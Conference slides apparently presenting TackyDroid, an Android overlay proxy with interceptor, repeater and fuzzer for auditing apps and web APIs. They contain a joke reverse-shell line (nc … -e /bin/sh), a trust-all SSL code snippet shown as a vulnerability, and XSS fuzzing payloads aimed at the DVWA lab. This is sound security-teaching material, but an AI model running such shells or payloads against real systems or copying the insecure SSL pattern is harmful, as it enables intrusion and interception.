TACKYDROID

Pentesting Android Applications in Style
• THIS TALK IS ABOUT AN APP WE ARE MAKING
• This talk IS NOT about Android platform itself
• This talk IS about how we want to contribute auditing apps that run on Android systems
• With an additional focus on web application penetration testing
• Flappy bird is lame now, so we’ll play helpless hero
• Background
• Spot the hacker
• What the f@#k is tackydroid
• Why we made it
• Tackydroid features/internals
• Demo
• Future work
• Questions
$ whoami ; id ; uname -r ; cat /etc/*-release
$ nc x.x.x.x 443 -e /bin/sh
• Chris Liu
• Claims to be a security engineer at Rakuten, Inc.
• Do a little penetration testing when he’s bored at work
• You may not know me

MATT
WHO THE HELL?!
MATT
WHO THE HELL?!

GOOD
• Apparently works with Chris
• Sometimes found at the office
• Does “security” stuff
I want to play a game.

spot the hacker
not a haxor
no haxor here
hacker cat for sure
WHAT THE FUCK

IS TACKYDROID?!?!

TackyDroid???
• Simply put, Tackydroid is NOT JUST A PROXY
• Tacky [ˈtækɪ]
  • Sticky, not dried
  • Gaudy
  • In bad taste

What the f@#k is TackyDroid???
It’s *not a proxy* ...
IT'S A PRROOOXYYYYY!!!
It’s overlaid so that makes it cool and very hipster.

What the f@#k is TackyDroid???
Why we started

- SAVE TIME: no need to setup up anything
- Bored of “information leakage” vulnerabilities
- Want to be hipster for once
- Seriously, lets bring more tools to mobile platform
• Speaks in conferences and travel around to avoid tedious office work (don’t tell our boss)
• Also we wanna go use this opportunity to go home ;)
I KNOW THAT FEEL BRO
More tools, more discussions in the security industry
Keep us busy on the weekend
  Wanna buy us beers?
What is this number?

90%

Random Stats
What is this number?

90%

Sure that random stats make presentations better

Crazy setups
• Simply put, a mobile application development environment can be very unique in terms of access
• MDM setup can be a pain
• But what if the STG environment is in another network
• Also what about outsourced projects?? (these are the worst).

Crazy setups
• Stuck in front of our desk
• Mobile projects are not really mobile

Crazy setups
• When auditing Android apps, it could basically be split into two parts
  • Client side code
  • Server side code (Web APIs)
• Fun part normally stays in the web or web api used by the app
  • Most apps just calls existing web APIs anyway
• Owasp mobile top ten
  • M1: Weak server side control
  • M2: Insecure data storage
  • M3: Insufficient transport layer protection
  • M4: Unintended data leakage
  • M5: Poor authorization and authentication
  • M6: Broken Cryptography
  • M7: Client side injection
  • M8: Security decision via untrusted inputs
  • M9: Improper session handling
  • M10: Lack of binary protections

I33t vulns
• M1: Weak server side control
  • More related to server side configuration
  • But you access it via web API
• M5: Poor authorization and authentication
  • Allows an adversary to execute functionality they should not be entitled
• M9: Improper session handling
  • Session token is unintentionally shared
Client side vulns in a droidshell

- Exported Content providers
  - Malicious Intents
- Preferences and Storage
  - Storing shit on the SD card
  - World readable files
Client side vulns in a droidshell

```java
SSLContext ctx = SSLContext.getInstance("SSL");
trustManager = new MyTrustManager()
sslSocketFactory = new TrustAllSSLContextFactory(trustManager)
```
• Most mobile app vulnerabilities nowadays are related to information leakage
  • Preference files
  • SQLite database files
  • Log functions blah
  • MITM attack
  • and more ...
• Most of them only exists when a phone is lost or rooted
• When did storing data inside a sandbox become a crime? Just looks at Google’s apps...
• Mozilla Firefox for Android CVE-2014-1527 Security Vulnerability
  • Successfully exploiting this issue may allow an attacker to redirect users to an attacker-controlled site
• Google Chrome for Android CVE-2014-1710 Memory Corruption Vulnerability
• Apache Cordova For Android CVE-2014-3500 Security Bypass Vulnerability
  • Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions
l33t vulns
Enough bullshit, let’s get into TackyDroid

Tackydroids guts
• No root is needed
• Features, features, features!
  • UI design
  • Interceptor
  • Repeater
  • Dumb fuzzer
  • Automatic fuzzer (Future work)
• BUT you need root
  • to intercept traffics from apps other than the browser
  • Sorry we decided to use IPTables :(

No root privilege is needed
• Remember the small overlayed bubble in your Facebook app?
  • F@#k u messenger app
• Sits over applications, no need to switch between activities
• Can easily be moved around
• Opens with a single click
• Translucent

UI design -
Thank you F@cebook!!
UI design - Overlayyyyyeddddd
UI design - Overlayyyyyyeddddd
• Power to intercept traffics on the fly
• Request modification
• Not to mention Cartman beefs up when there’s a incoming request
BEEFCAKE!
Interceptor

GET http://192.168.11.10:80/DVWA/vulnerabilities/xss_r/?name=mark
HTTP/1.1
Host: 192.168.11.10
Connection: keep-alive
Referer: http://192.168.11.10/DVWA/vulnerabilities/xss_r/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; ja-jp; SC-06D Build/IMM76L; CyanogenMod-9) AppleWebKit/534.30 (KHTML, like Gecko)
• Short quicklist that makes modifying requests a breeze
• We all hate typing inside an mobile device
GET /DVWA/vulnerabilities/xss_r/?name=chris HTTP/1.1
Host: 10.99.6.39
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

<script>alert(1)</script>
Interceptor

What's your name?
ページ「http://192.168.11.9」の記述:

Hello chris

More info

http://ha.ckers.org/xss.html
http://en.wikipedia.org/wiki/Cross-site_scripting
http://www.cgisecurity.com/xss-faq.html
• When you wanna play around with a request, you can send the request to the repeater tab
• Request modification
• Response examination
• Response could also be displayed in webview
Repeater
Repeater
• Garbage in, garbage out
• you can choose your favorite payload from fuzzdb
• And basically determine if any vuln exists by yourself
• Raw responses, and also can be shown in repeaters webview

Dumb fuzzer
Dumb fuzzer
<table>
<thead>
<tr>
<th>#</th>
<th>URL</th>
<th>Payload</th>
<th>Size</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td></td>
<td><code>&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;</code></td>
<td>4894</td>
<td>200</td>
</tr>
<tr>
<td>1</td>
<td></td>
<td><code>&quot;&gt;&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;</code></td>
<td>4895</td>
<td>200</td>
</tr>
<tr>
<td>2</td>
<td></td>
<td><code>&quot;;!--&quot;&lt;XSS&gt;=&amp;{()}</code></td>
<td>4876</td>
<td>200</td>
</tr>
<tr>
<td>21</td>
<td></td>
<td><code>&lt;SCRIPT&gt;a=/XSS/</code></td>
<td>4878</td>
<td>200</td>
</tr>
<tr>
<td>22</td>
<td></td>
<td><code>&quot;;alert('XSS');//</code></td>
<td>4881</td>
<td>200</td>
</tr>
<tr>
<td>33</td>
<td></td>
<td><code>&lt;STYLE&gt;@import'http://ha.ckers.org/xss.css';&lt;/STYLE&gt;</code></td>
<td>4915</td>
<td>200</td>
</tr>
<tr>
<td>35</td>
<td></td>
<td><code>&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;</code></td>
<td>4923</td>
<td>200</td>
</tr>
</tbody>
</table>

**Dumb fuzzer**
Dumb fuzzer
• Currently under development but will be pushed out pretty soon
• Automatic garbage in, automatic garbage out

Automatic fuzzer
• Get a feel of the overlayed magic
• Attack DVWA (Damn Vulnerable Web Application) from the browser
  • Interception
  • History list
  • Repeater
  • Simple fuzzers (the beta of all the betas)
• Time for Helpless hero
• Now you’ve seen it but why should you care?

That’s all folks
• Freedom to audit anywhere
• Give you a quick look at apps
• Stealth mode
• “Analyze” traffic for online games
• And more

Usage Examples
Usage Examples

- Bug Hunting
  - SSL Issues
  - XSS
  - SQLi
Problems we faced
Initial problems

• Most java libraries are gimped on Android
• How do we maintain the user experience without having to switch between activities
• Screen space
• Shitty mobile keyboards
• Text selection is broke
• Really shitty mobile keyboards
• Holy f@#k screen space
• Aside from the obvious proxy functionality
  • Translucent interface that acts as if it is a native debug functionality for the target app
  • Removal of the desktop in the middle
  • Penetration testing from a phone, on a bus, or while playing games
  • Hopefully more discussions on mobile platform tools

Conclusion
• Built-in hand warmer <3
• And a good way to drain your battery too !!!
• Web application auditing via the built-in browser
• Lots of hidden bugs
• Add more fuzzing capabilities
  • Add Smarter fuzzer
• Improved UI
• Web spider
• iOS version of the app is on it’s way...maybe...
• and more … maybe ...

FUTURE WORK
NEW UI!!!
NEW UI!!!
GOOD NEWS

- Tacky is free ;)
- We accept all donations for beer
- GitHub
  - https://github.com/kurisuryu/tacky
Bad news

- Tons of Bugs
- Not ready for a full release
- Not Open sourced…
  - Maintain control over the project
  - Did we mention bugs?
code looks like this
• Anything but about the proxy
Screw You Guys, I’m Going Home!

THANK YOU HITB